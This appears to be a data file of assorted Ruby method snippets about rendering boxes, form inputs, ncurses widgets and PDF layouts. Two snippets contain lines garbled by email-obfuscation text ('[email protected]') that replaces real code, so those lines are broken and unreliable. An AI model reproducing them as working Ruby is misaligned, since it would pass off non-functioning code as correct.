"def bbox_display_inputs\n %(\n <div class=\"row bbox-inputs\">\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>North</div></span>\n <input readonly id=\"bbox-north\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>East</div></span>\n <input readonly id=\"bbox-east\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>South</div></span>\n <input readonly id=\"bbox-south\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>West</div></span>\n <input readonly id=\"bbox-west\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n </div>\n )\n end",
"def bbox_display_inputs\n %(\n <div class=\"row bbox-inputs\">\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>North</div></span>\n <input readonly id=\"bbox-north\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>East</div></span>\n <input readonly id=\"bbox-east\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>South</div></span>\n <input readonly id=\"bbox-south\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n <div class=\"col-md-3\">\n <div class=\"input-group\">\n <span class=\"input-group-addon\"><div>West</div></span>\n <input readonly id=\"bbox-west\" type=\"text\" class=\"form-control bbox-input\">\n </div>\n </div>\n </div>\n )\n end",
"def checkboxes_for coll, &blok\n \n @checkbox ||= Class.new do \n \n def initialize &blok\n instance_eval(&blok)\n end\n \n def text txt\n @text = txt\n end\n \n def value txt\n @value = txt\n end\n \n def name txt\n @name = txt\n end\n \n def props\n [ \n @text, \n { :name => @name, \n :type => 'checkbox', \n :value => @value \n } \n ]\n end\n \n end\n \n span_txt, attrs = @checkbox.new(&blok).props\n ele_id = \"checkbox_#{rand(1000)}_#{attrs[:value]}\"\n s_ele_id = \"selected_checkbox_#{rand(1000)}_#{attrs[:value]}\"\n \n text(capture {\n loop coll do\n \n show_if 'selected?' do\n div.box.selected {\n input( {:checked=>'checked', :id=>s_ele_id}.update attrs )\n label span_txt, :for=>s_ele_id\n }\n end\n \n if_not 'selected?' do\n div.box {\n input( {:id=>ele_id}.update attrs )\n label span_txt, :for=>ele_id\n }\n end\n \n end # === loop\n })\n\n end",
"def render_all(sx, sy, ws, hs, &block)\n render sx, sy, ws, hs do |r, l|\n yield r, l\n prect = apply_content_paddings(r, ws, hs)\n @children.each do |itm|\n itm.render_all(prect.x, prect.y, prect.w, prect.h, &block)\n end\n end\n end",
"def read_boxes!(max_read_bytes = nil)\n end_pos = max_read_bytes.nil? ? nil : @stream.pos + max_read_bytes\n index = 0\n\n loop do\n return if end_pos && @stream.pos >= end_pos\n\n box_type, box_size = read_box_header!\n\n case box_type\n when \"meta\"\n handle_meta_box(box_size)\n when \"pitm\"\n handle_pitm_box(box_size)\n when \"ipma\"\n handle_ipma_box(box_size)\n when \"hdlr\"\n handle_hdlr_box(box_size)\n when \"iprp\", \"ipco\"\n read_boxes!(box_size)\n when \"irot\"\n handle_irot_box\n when \"ispe\"\n handle_ispe_box(box_size, index)\n when \"mdat\"\n throw :finish\n else\n @stream.read(box_size)\n end\n\n index += 1\n end\n end",
"def boxes \n\n all_boxes = []\n @raw.each do |h|\n\n if [\"status\", \"media\", \"request\"].include?(h[0]) == false && h[1]['boxes'] != nil \n all_boxes << h[1]['boxes'][0] \n end \n end \n return all_boxes\n end",
"def format_box_results(results, env)\n # TODO: remove other description fields? Maybe leave \"short\"?\n results.delete(\"description_html\")\n\n if results[\"current_version\"]\n versions = results.delete(\"versions\")\n results[\"providers\"] = results[\"current_version\"][\"providers\"]\n\n results[\"old_versions\"] = versions.map{ |v| v[\"version\"] }[1..5].join(\", \") + \"...\"\n end\n\n\n width = results.keys.map{|k| k.size}.max\n results.each do |k,v|\n if k == \"versions\"\n v = v.map{ |ver| ver[\"version\"] }.join(\", \")\n elsif k == \"current_version\"\n v = v[\"version\"]\n elsif k == \"providers\"\n v = v.map{ |p| p[\"name\"] }.join(\", \")\n elsif k == \"downloads\"\n v = format_downloads(v.to_s)\n end\n\n whitespace = width-k.size\n env.ui.info \"#{k}:\" + \"\".ljust(whitespace) + \" #{v}\"\n end\n end",
"def reload_boxes(boxes)\n org_cache = {}\n boxes.map do |b|\n org_name = b[:username]\n if !org_cache[org_name]\n org_cache[org_name] = account.organization(name: org_name)\n end\n org = org_cache[org_name]\n box = Box.new(organization: org, **b)\n org.boxes = org.boxes + [box]\n org.clean!\n box\n end\n end",
"def layout_fields\n # Everything has a tag - or it BETTER!\n # Probably should refactor this or something.\n value = @stored_values[:tag] || @object.tag\n label = Label.new(\"Tag\")\n tagInput = InputField.new(value,30)\n @attr_to_field[:tag] = tagInput\n layout_field_button(label,tagInput,\"Auto\") do\n attemptName = nil\n if @attr_to_field[:name]\n attemptName = @attr_to_field[:name].text\n end\n tagInput.text = @rl.repository.generate_tag_for(@object,attemptName)\n end\n @fieldY = tagInput.rect.bottom + @spacing \n @object.class.attrs.sort.each do | attr |\n next if attr == :tag # We did tags ourselves\n display = true\n value = @stored_values[attr] || @object.send(attr)\n label = Label.new(attr.to_s)\n rows,cols = [0,0]\n size= @object.class.size_for(attr)\n input = nil\n if size\n rows,cols = size\n if rows > 1\n input = MultiLineInput.new(value)\n input.set_size(rows,cols)\n elsif rows == 0 || cols == 0\n display = false\n else\n input = InputField.new(value, cols)\n end\n else\n input = InputField.new(value,20)\n end \n \n if display\n if rows > 1\n scroller = Scroller.new(input)\n scroller.translate_to(*input.rect.topleft)\n layout_field(label,scroller)\n else\n layout_field(label,input)\n end\n @attr_to_field[attr] = input\n end\n check_max_button(attr,input) if input\n end\n \n # Booleans\n @object.class.booleans.each do | attr |\n value = @stored_values[attr] || @object.send(attr)\n checkbox = CheckBox.new(attr.to_s,value)\n checkbox.rect.topleft = [ @fieldX, @fieldY ] \n \n @fieldY = checkbox.rect.bottom + @spacing\n \n self << checkbox\n @bool_to_field[attr] = checkbox\n end\n \n # And now for the enums!\n @object.class.enumerations.each do | attr, valid |\n value = @stored_values[attr] || @object.send(attr)\n label = Label.new(attr.to_s)\n \n size = @object.class.size_for(attr)\n label.rect.topleft = [@fieldX, @fieldY]\n rows = size || valid.size\n \n input = ListBox.new\n input.rect.w = @mainRect.w / 2 - label.rect.w - @spacing * 3\n input.rect.h = input.height(rows)\n input.items = valid\n input.chosen = value\n \n input.translate_to(label.rect.right + @spacing, @fieldY)\n \n @fieldY = input.rect.bottom + @spacing\n self << label\n self << input\n @enum_to_field[attr] = input\n \n end\n end",
"def boxes\n return @@boxes\n end",
"def group_box_plot(grouplist, x_start, y_start, offset)\n start_plot_x, end_plot_x, start_plot_y, end_y = group_plot_boundaries(x_start, y_start,\n grouplist.groups.length, 'Box Plot')\n x_interval = end_plot_x - start_plot_x\n\n # plot names and values\n font_size = standard_font_size * 0.9\n\n current_y = start_plot_y + @box_size\n text_x = 0\n\n # determine min and max values\n min_value =1e50\n max_value =-1e50\n\n max_title_length = 0\n\n grouplist.groups.each do |group|\n if group.name.length > max_title_length\n max_title_length = group.name.length\n end\n @canvas.g.translate(x_start,y_start).text(@box_size/2.8, current_y-@box_size/3) do |text|\n text.tspan(group.name).styles(:font_size=>font_size, :text_anchor=>'end')\n end\n current_y = current_y + @box_size\n if group.values[:max].to_f > max_value\n max_value = group.values[:max].to_f\n end\n if group.values[:min].to_f < min_value\n min_value = group.values[:min].to_f\n end\n end\n\n max_value, min_value, value_interval = group_value_interval(max_value, min_value, offset)\n y_label_points = end_y + (@font_size_multiple-1.0) *@box_size.to_f/2\n group_label_points(max_value, min_value, start_plot_x, x_interval, x_start, y_start, y_label_points)\n\n current_y = start_plot_y + @box_size/2\n\n y_box_offset = @box_size.to_f/4\n y_box_height = @box_size.to_f/2\n\n # draw box plot values\n grouplist.groups.each do |group|\n # calculate x position\n x_median = (group.values[:median].to_f-min_value)/value_interval * x_interval + start_plot_x\n x_box_end = (group.values[:percent75].to_f-min_value)/value_interval * x_interval + start_plot_x\n x_box_start = (group.values[:percent25].to_f-min_value)/value_interval * x_interval + start_plot_x\n x_max = (group.values[:max].to_f-min_value)/value_interval * x_interval + start_plot_x\n x_min = (group.values[:min].to_f-min_value)/value_interval * x_interval + start_plot_x\n y_box_top = current_y - y_box_offset\n y_box_bottom = current_y + y_box_offset\n\n @canvas.g.translate(x_start, y_start) do |box|\n box.styles(:stroke_width=>1, :stroke=>group.colorstr, :fill=>'none')\n # draw box\n box.rect(x_box_end-x_box_start, y_box_height, x_box_start, y_box_top)\n\n # draw median line\n box.line(x_median, y_box_top, x_median, y_box_bottom)\n\n # draw max and min lines\n box.line(x_min, y_box_top, x_min, y_box_bottom)\n box.line(x_max, y_box_top, x_max, y_box_bottom)\n\n # draw whispers to max and min\n stroke_array = [2,2]\n box.line(x_min, current_y, x_box_start, current_y).styles(:stroke_dasharray=>stroke_array)\n box.line(x_box_end, current_y, x_max, current_y).styles(:stroke_dasharray=>stroke_array)\n\n end\n\n current_y = current_y+@box_size\n end\n\n x_font_adjustment = 0\n if font_size_multiple > 1\n x_font_adjustment = (end_plot_x - x_start) * 0.5\n end\n\n return x_start + end_plot_x + @box_size/3.2 * max_title_length *font_size_multiple\n\n end",
"def load_objects\n @objects.each do |obj|\n case obj[:type]\n when :sphere\n draw_sphere(obj[:radius], obj[:point])\n when :text\n draw_text(obj[:text], obj[:point])\n when :point\n draw_point(obj[:point])\n end\n end\n end",
"def draw(box)\n # Does this widget have a shadow?\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Draw in the entry field.\n @entry_field.draw(@entry_field.box)\n\n # Draw in the scroll field.\n self.drawMyScroller\n end",
"def update!(**args)\n @box = args[:box] if args.key?(:box)\n @rendered_text = args[:rendered_text] if args.key?(:rendered_text)\n end",
"def add_interaction_boxes(snp_list, x_start, y_label_start,\n\t\t\ty_label_end, rotate, tagSNPMap)\n\t\t\n\t\tfraction = 1.0\n\t\t@maxx > @maxy ? max_dim = @maxx : max_dim = @maxy\n\t\t\n\t\tmax_dim > Maximum_html_image_x ? fraction = Maximum_html_image_x / max_dim : fraction = 1.0\n\t\tx_text = @box_size\n\n start_x = x_text\n end_x = start_x\n\t\t\n\t\ty_interval = y_label_end - y_label_start\n\t\tymidpt = y_interval.to_f/2 + y_label_start\n\t\tmid_interval = y_interval * 0.05\n\t\ty1_start = y_label_start\n\t\ty1_end = ymidpt - mid_interval\n\t\ty2_start = ymidpt + mid_interval\n\t\ty2_end = y_label_end\n\t\tsnp_list.included_snps.each do |snp_index|\n\t\t\tcombined_name = snp_list.snps[snp_index].name\n\t\t\t(snp1, snp2) = combined_name.split(/_/)\n\t\t\tx_text = end_x\n\t\t\tend_x = label_step(x_text)\n\t\t\tdraw_interaction_tag_boxes(x_text+x_start, end_x+x_start, y1_start, y1_end, tagSNPMap, snp1)\n\t\t\tdraw_interaction_tag_boxes(x_text+x_start, end_x+x_start, y2_start, y2_end, tagSNPMap, snp2)\n\t\tend\n\n\t\t# add space to end and return for marking next chromosome\n\t\treturn x_start + x_text\n\tend",
"def render(*data)\n data.map do |datum|\n if bind\n erb.result(bind)\n else\n Entry.new(self, datum, colorize).render(erb)\n end\n end.join(separator)\n end",
"def render_multi(multi)\n end",
"def multi_get(page, options = {})\n widgets_with_key = {}\n all_widgets = []\n page.blocks.each do |block|\n block.real_block.widgets.each do |widget|\n key = calculate_key(widget, options)\n all_widgets << [widget, key] if key\n end\n end\n\n valid_widgets = validate_parents(all_widgets, options)\n valid_widgets.each do |elems|\n widgets_with_key[elems[0].id] = elems[1]\n end\n\n crypted_table = crypt_all_keys(widgets_with_key.values)\n\n cached_widgets = begin\n multi_retrieve crypted_table.keys\n rescue CacheNotAvailable\n return {}\n end\n\n widgets = {}\n cached_widgets.each do |cached_widget|\n if cached_widget.last\n key = widgets_with_key.index(crypted_table[cached_widget.first])\n Rails.logger.debug \"Widget cache hit for widget with id: #{key} with key #{crypted_table[cached_widget.first]}\"\n widgets[key] = cached_widget.last\n end\n end\n widgets\n end",
"def draw(box)\n battr = 0\n bchar = 0\n fattr = @filler & Ncurses::A_ATTRIBUTES\n hist_x = @title_lines + 1\n hist_y = @bar_size\n\n @win.werase\n\n # Box the widget if asked.\n if box\n Draw.drawObjBox(@win, self)\n end\n\n # Do we have a shadow to draw?\n if !(@shadow.nil?)\n Draw.drawShadow(@shadow_win)\n end\n\n self.drawTitle(@win)\n\n # If the user asked for labels, draw them in.\n if @view_type != :NONE\n # Draw in the low label.\n if @low_string.size > 0\n Draw.writeCharAttrib(@win, @lowx, @lowy, @low_string,\n @stats_attr, @orient, 0, @low_string.size)\n end\n\n # Draw in the current value label.\n if @cur_string.size > 0\n Draw.writeCharAttrib(@win, @curx, @cury, @cur_string,\n @stats_attr, @orient, 0, @cur_string.size)\n end\n\n # Draw in the high label.\n if @high_string.size > 0\n Draw.writeCharAttrib(@win, @highx, @highy, @high_string,\n @stats_attr, @orient, 0, @high_string.size)\n end\n end\n\n if @orient == CDK::VERTICAL\n hist_x = @box_height - @bar_size - 1\n hist_y = @field_width\n end\n\n # Draw the histogram bar.\n (hist_x...@box_height - 1).to_a.each do |x|\n (1..hist_y).each do |y|\n battr = @win.mvwinch(x, y)\n \n if battr == ' '.ord\n @win.mvwaddch(x, y, @filler)\n else\n @win.mvwaddch(x, y, battr | fattr)\n end\n end\n end\n\n # Refresh the window\n @win.wrefresh\n end",
"def colored_box(box_text, options={})\n options = { :fill_color => DARK_GRAY,\n :stroke_color => nil,\n :text_color => LIGHT_GRAY,\n :leading => LEADING\n }.merge(options)\n\n \n text_options = { :leading => options[:leading], \n :fallback_fonts => [\"Helvetica\", \"Kai\"]\n }\n\n box_height = height_of_formatted(box_text, text_options)\n\n bounding_box([INNER_MARGIN + RHYTHM, cursor],\n :width => bounds.width - (INNER_MARGIN+RHYTHM)*2) do\n\n fill_color options[:fill_color]\n stroke_color options[:stroke_color] || options[:fill_color]\n fill_and_stroke_rounded_rectangle(\n [bounds.left - RHYTHM, cursor],\n bounds.left + bounds.right + RHYTHM*2,\n box_height + RHYTHM*2,\n 5\n )\n fill_color BLACK\n stroke_color BLACK\n\n pad(RHYTHM) do\n formatted_text(box_text, text_options)\n end\n end\n\n move_down(RHYTHM*2)\n end",
"def box_lines\n return [] if output.match NO_BOXES\n output.lines\n end",
"def interactive_box_embeddables\n section_embeddables(INTERACTIVE_BOX)\n end",
"def form(text='some text', height=0, width=0, formheight=0, items=[])\n # item = [label, y, x, item, y, x, flen, ilen]\n item_string = items.collect{|i| %(\"#{i[0]}\" #{i[1]} #{i[2]} \"#{i[3]}\" #{i[4]} #{i[5]} #{i[6]} #{i[7]})}.join(' ')\n puts item_string\n command = %(--form \"#{text.to_s}\" #{height.to_i} #{width.to_i} #{formheight.to_i} #{item_string})\n call_and_capture command do |return_value|\n fields = []\n return_value.each_line do |line|\n puts line\n end\n end\n end",
"def draw(box)\n # Draw in the shadow if we need to.\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n self.drawTitle(@win)\n\n # Draw in the scrolling list items.\n self.drawList(box)\n end",
"def draw(box)\n # Draw the shadow.\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Box the widget if asked.\n if box\n Draw.drawObjBox(@win, self)\n end\n\n self.drawTitle(@win)\n\n # Draw the label.\n unless @label_win.nil?\n Draw.writeChtype(@label_win, 0, 0, @label, CDK::HORIZONTAL,\n 0, @label_len)\n @label_win.wrefresh\n end\n @win.wrefresh\n\n # Draw the field window.\n self.drawField\n end",
"def display_input\n\t\n\t\tputs \"2-lettered tiles:\"\n\t\t(@@two_tiles).each { |t| \n\t\t\tprint \"#{t.letters} \" \n\t\t}\n\t\t\n\t\tputs \"\\n3-lettered tiles:\"\n\t\t(@@three_tiles).each { |t| \n\t\t\tprint \"#{t.letters} \" \n\t\t}\n\t\t\n\t\tputs \"\\n4-lettered tiles:\"\n\t\t(@@four_tiles).each { |t| \n\t\t\tprint \"#{t.letters} \" \n\t\t}\n\t\t\n\tend",
"def do_draw_boxes(write_coord = true, draw_markups = true)\n @layout.nx.times do |x|\n @layout.ny.times do |y|\n box_x, box_y = get_x_y(x, y)\n @pdf.rounded_rectangle(box_x,\n box_y,\n @label.width.as_pts,\n @label.height.as_pts,\n @label.round.as_pts).stroke\n if write_coord\n text = \"#{box_x / 72}, #{box_y / 72}, #{@label.width.number}, #{label.height.number}\"\n add_label(text, x: box_x, y: box_y )\n end\n\n if draw_markups\n @label.markupMargins.each do |margin|\n size = margin.size.as_pts\n @pdf.rounded_rectangle(box_x + size,\n box_y - margin.size.as_pts,\n @label.width.as_pts - 2*size,\n @label.height.as_pts - 2*size,\n @label.round.as_pts).stroke\n end\n @label.markupLines.each do |line|\n @pdf.line(box_x + line.x1.as_pts,\n box_y + line.y1.as_pts,\n box_x + line.x2.as_pts,\n box_y + line.y2.as_pts).stroke\n end\n end\n end\n end\n end",
"def build_provider_box\n @pdf.text_box(\n @document.provider_name,\n size: 15,\n at: [10, y(640) - @push_down],\n width: x(220)\n )\n @pdf.text_box(\n @labels[:provider],\n size: 11,\n at: [10, y(660) - @push_down],\n width: x(240)\n )\n if used? @labels[:sublabels][:provider]\n @pdf.text_box(\n @labels[:sublabels][:provider],\n size: 10,\n at: [10, y(660) - @push_down],\n width: x(246),\n align: :right\n )\n end\n # Render provider_lines if present\n if [email protected]_lines.empty?\n @pdf.text_box(\n @document.provider_lines,\n size: 10,\n at: [x(10), y(618) - @push_down],\n width: x(246),\n height: y(68),\n leading: 3,\n )\n end\n unless @document.provider_tax_id.empty?\n @pdf.text_box(\n \"#{@labels[:tax_id]}: #{@document.provider_tax_id}\",\n size: 10,\n at: [10, y(550) - @push_down],\n width: x(240)\n )\n end\n unless @document.provider_tax_id2.empty?\n @pdf.text_box(\n \"#{@labels[:tax_id2]}: #{@document.provider_tax_id2}\",\n size: 10,\n at: [10, y(535) - @push_down],\n width: x(240)\n )\n end\n @pdf.stroke_rounded_rectangle([0, y(670) - @push_down], x(266), y(150), 6)\n end",
"def styles_for(*models)\n render :partial => \"common/inline_styles\", :locals => { :models => models }\n end",
"def create_inputs\n @inputs = Array.new(@max_size) do |i|\n add_text(base_x + i * delta_x, base_y + delta_y, delta_x, delta_y, NO_CHAR, 1)\n end\n end",
"def render_all pad, arr\n pre_render\n @content_cols = @source.pad_cols\n @clearstring = \" \" * @content_cols\n @list = arr\n\n att = @attr || NORMAL\n FFI::NCurses.wattron(pad, @cp | att)\n\n arr.each_with_index { |line, ix|\n render pad, ix, line\n }\n FFI::NCurses.wattroff(pad, @cp | att)\n end",
"def textbox(file, type='text', height=0, width=0)\n opt = {'text' => '--textbox', 'tail' => '--tailbox', 'bg' => '--textboxbg'}[type]\n command = %(#{opt} \"#{file}\" #{height.to_i} #{width.to_i})\n call_and_capture command\n end",
"def get_boxes(features)\n result = {}\n result[:watson] = features.select { |f| f.strand == '+' }.collect { |e| e.to_box }\n result[:crick] = features.select { |f| f.strand == '-' }.collect { |e| e.to_box }\n return result\n end",
"def layout\n for box in @boxes\n if !box.inPosition\n findSpot(box)\n end\n end\n end",
"def box(body)\n formatted_box(body, :blue, \"ℹ\", \"\")\nend",
"def draw(box)\n # Is there a shadow?\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Box the widget if asked.\n if @box\n Draw.drawObjBox(@win, self)\n end\n self.drawText\n @win.wrefresh\n end",
"def render\n @result_html = ''\n @result_html += \"<div class=\\\"rs-container #{self.class.name}\\\" id=\\\"#{@id}\\\">\"\n @result_html += render_controls.gsub(\"<option value=\\\"rs-#{@effect}\\\">\",\n \"<option value=\\\"rs-#{@effect}\\\" selected=\\\"selected\\\">\")\n @result_html += \"<div class=\\\"rs-wrapper\\\">\"\n @result_html += \"<div class=\\\"rs-shadow\\\"></div>\"\n @result_html += '<div class=\"rs-images\">'\n @images_urls.each do |url|\n @result_html += \"<img src=\\\"#{url}\\\"/>\"\n end\n @result_html += '</div>'\n @result_html += '<div class=\"rs-cover\">'\n @result_html += '<a class=\"rs-animation-command rs-pause\" href=\"javascript:void(0)\">Play/Pause</a>'\n @result_html += \"<img src=\\\"#{@images_urls.first}\\\"/>\"\n @result_html += '</div>'\n @result_html += '<div class=\"rs-transition\">'\n @result_html += render_flips\n @result_html += render_multi_flips\n @result_html += render_cubes\n @result_html += render_unfolds\n @result_html += '</div>'\n @result_html += '</div>'\n @result_html += render_bullets\n @result_html += '</div>'\n\n @result_html.html_safe\n end",
"def multi_input_form_group(methods, options = {})\n gopt, lopt, fopt = split_form_group_options(options)\n lopt[:text] ||= gopt[:label]\n if lopt[:text].blank?\n lopt[:text] = methods.map {|k,_| k.to_s.humanize }.join(', ')\n end\n lbl = label_w_small(methods.map{|k,_| k}.first, lopt)\n fld = gopt[:wrap].call(multi_input(methods, fopt))\n form_group lbl, fld, gopt\n end",
"def build_multiple_editor_layout(width, height, pane_ids)\n editor_height = height / 2\n top_editor_pane_ids = pane_ids[0, pane_ids.count/2]\n bottom_editor_pane_ids = pane_ids[pane_ids.count/2..-1]\n top_editor_layouts = distribute_horizontally(0, width, editor_height, top_editor_pane_ids)\n bottom_editor_layouts = distribute_horizontally(editor_height+1, width, height-editor_height-1, bottom_editor_pane_ids)\n\n top_layout = top_editor_layouts.count == 1 ? top_editor_layouts.first : Layout.new(\"#{width}x#{editor_height}\", 0, 0, HorizontalNesting.new(top_editor_layouts))\n bottom_layout = bottom_editor_layouts.count == 1 ? bottom_editor_layouts.first : Layout.new(\"#{width}x#{height-editor_height-1}\", 0, editor_height+1, HorizontalNesting.new(bottom_editor_layouts))\n\n Layout.new(\"#{width}x#{height}\", 0, 0, VerticalNesting.new([ top_layout, bottom_layout ]))\nend",
"def three_by_three_boxes\n @boxes ||= [0,1,2].repeated_permutation(2).map do |box_coord|\n box_row, box_col = *box_coord\n col_offset = box_col * 3\n row(box_row * 3)[col_offset...(col_offset+3)] +\n row(box_row * 3 + 1)[col_offset...(col_offset+3)] +\n row(box_row * 3 + 2)[col_offset...(col_offset+3)]\n end\n end",
"def wrap_templates(options)\n output = ActiveSupport::SafeBuffer.new\n emit_tag(output, 'div', :id => \"templates_#{options[:id] || element.name}\", :class => 'hidden') do\n render_templates output, DomNamer.new(element.name, options[:id] || element.name)\n end\n output\n end",
"def cache_all_boxes_sized(size)\n raise \"cache_all_boxes_sized called with (#{size})\" if size < 1\n smaller_boxes = boxes_of_size(size - 1)\n\n # for each flavor\n @utils.all_flavors.each do |flavor|\n # build a new box from each smaller box:\n smaller_boxes.each_value do |box|\n new_box = Cookies::CookieBox.copy_from(box) # clone and build from here\n new_box.add(flavor, 1)\n\n next unless new_box.valid? # if it makes an invalid, don't make it\n next unless boxes_of_size(size)[new_box.key].nil? # ignore if already cached\n\n boxes_of_size(size)[new_box.key] = new_box\n end\n end\n end",
"def create\n @box = current_user.boxes.build(params[:box])\n @box.status = 'draft'\n\n respond_to do |format|\n if current_user.address.blank?\n flash[:notice] = \"Please provide your address before posting a box\"\n format.html { redirect_to new_box_path }\n format.json { render :json => {:edit_url => new_box_path} }\n elsif @box.save\n format.html { redirect_to edit_box_path(@box), notice: 'Great, now please add pictures and item details below.' }\n format.json { render :json => {:box => @box, :url => box_path(@box), :edit_url => edit_box_path(@box)}, status: :created, location: @box }\n else\n format.html { render action: \"new\" }\n format.json { render :json => {:errors => @box.errors}, status: :unprocessable_entity }\n end\n end\n end",
"def post_list_box_fields_with_http_info(name, fields, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.post_list_box_fields ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.post_list_box_fields\"\n end\n # verify the required parameter 'fields' is set\n if @api_client.config.client_side_validation && fields.nil?\n fail ArgumentError, \"Missing the required parameter 'fields' when calling PdfApi.post_list_box_fields\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/fields/listbox\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n post_body = @api_client.object_to_http_body(fields)\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AsposeResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#post_list_box_fields\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def draw_box(x, y, width, height, color, z = 0.0)\n draw_line(x, y, color, x + width, y, color, z)\n draw_line(x + width, y, color, x + width, y + height, color, z)\n draw_line(x, y, color, x, y + height, color, z)\n draw_line(x, y + height, color, x + width, y + height, color, z)\n end",
"def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {})\n bootstrap = form_bootstrap.scoped(options.delete(:bootstrap))\n return super if bootstrap.disabled\n\n content = \"\".html_safe\n unless options[:include_hidden] == false\n content << hidden_field(method, multiple: true, value: \"\")\n end\n\n args = [bootstrap, :check_box, method, collection, value_method, text_method, options, html_options]\n content << draw_choices(*args) do |m, v, opts|\n opts[:multiple] = true\n opts[:include_hidden] = false\n ActionView::Helpers::FormBuilder.instance_method(:check_box).bind(self).call(m, opts, v)\n end\n end",
"def list(*args, &block)\n tags = {\n :table => :div,\n :tbody => :ol,\n :thead => :ol,\n :tfoot => :ol,\n :tr => :li,\n :th => :div,\n :td => :div\n }\n ft_generate_html tags, *args, &block\n end",
"def render\n outputs.solids << [grid.rect, 100, 100, 100]\n render_zombies\n render_killed_zombies\n render_player\n render_flash\n end",
"def update!(**args)\n @box = args[:box] if args.key?(:box)\n @child_render_tree_node_index = args[:child_render_tree_node_index] if args.key?(:child_render_tree_node_index)\n @dom_tree_node_index = args[:dom_tree_node_index] if args.key?(:dom_tree_node_index)\n @inline_text_box = args[:inline_text_box] if args.key?(:inline_text_box)\n @rendered_text = args[:rendered_text] if args.key?(:rendered_text)\n @style_index = args[:style_index] if args.key?(:style_index)\n end",
"def draw_interaction_tag_boxes(x_start, x_end, y_start, y_end, tagSNPMap, snpname)\n\t\t\n\t\ttagnames = tagSNPMap.snps[snpname].sort\n\t\t# determine start and end for each color\n\t\ty_interval = y_end-y_start\n\t\tinterval = y_interval/tagnames.length.to_f\n\t\typts = Array.new\n\t\tlast_y = y_start\n\t\ttagnames.length.times do |i|\n\t\t\typts << last_y + interval\n\t\t\tlast_y = ypts.last\n\t\tend\n\t\t\n\t\twidth = (x_end-x_start).to_f/2\n\t\tcurrent_y = y_start\n\t\ttagnames.each_with_index do |tagname,i|\n\t\t\[email protected] do |plot|\n\t\t\t\tcolorstr = tagSNPMap.tags[tagname]\n\t\t\t\tplot.styles(:stroke=>colorstr, :fill=>colorstr)\n\t\t\t\tplot.rect(width, ypts[i]-current_y, x_start-width/2, current_y)\n\t\t\tend\n\t\t\tcurrent_y = ypts[i]\n\t\tend\n\tend",
"def create_texts\n add_text(TEXT_OX, 0, DELTA_X - TEXT_OX, DELTA_Y, text_get(32, 0)) # Attack !\n add_text(TEXT_OX + DELTA_X, 0, DELTA_X - TEXT_OX, DELTA_Y, text_get(32, 1)) # Bag\n add_text(TEXT_OX, DELTA_Y, DELTA_X - TEXT_OX, DELTA_Y, text_get(32, 2)) # Pokemon\n add_text(TEXT_OX + DELTA_X, DELTA_Y, DELTA_X - TEXT_OX, DELTA_Y, text_get(32, 3)) # Flee\n end",
"def each\n yield render\n end",
"def collection_check_boxes(method, collection, value_method, text_method, options = T.unsafe(nil), html_options = T.unsafe(nil), &block); end",
"def index\n @boxes = Box.order(:start_time).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boxes }\n end\n end",
"def build_editor_layout(width, height, pane_ids)\n if pane_ids.count == 1\n build_single_editor_layout(width, height, pane_ids.first)\n else\n build_multiple_editor_layout(width, height, pane_ids)\n end\nend",
"def return_objects\n\t # renders template\n\tend",
"def draw\n Termbox.tb_clear\n @views.each {|view| view.draw}\n Termbox.tb_present\n end",
"def inputs(*args, &block)\n title = field_set_title_from_args(*args)\n html_options = args.extract_options!\n html_options[:class] ||= \"inputs\"\n html_options[:name] = title\n \n if html_options[:for] # Nested form\n inputs_for_nested_attributes(*(args << html_options), &block)\n elsif block_given?\n field_set_and_list_wrapping(*(args << html_options), &block)\n else\n if @object && args.empty?\n args = self.association_columns(:belongs_to)\n args += self.content_columns\n args -= RESERVED_COLUMNS\n args.compact!\n end\n legend = args.shift if args.first.is_a?(::String)\n contents = args.collect { |method| input(method.to_sym) }\n args.unshift(legend) if legend.present?\n \n field_set_and_list_wrapping(*((args << html_options) << contents))\n end\n end",
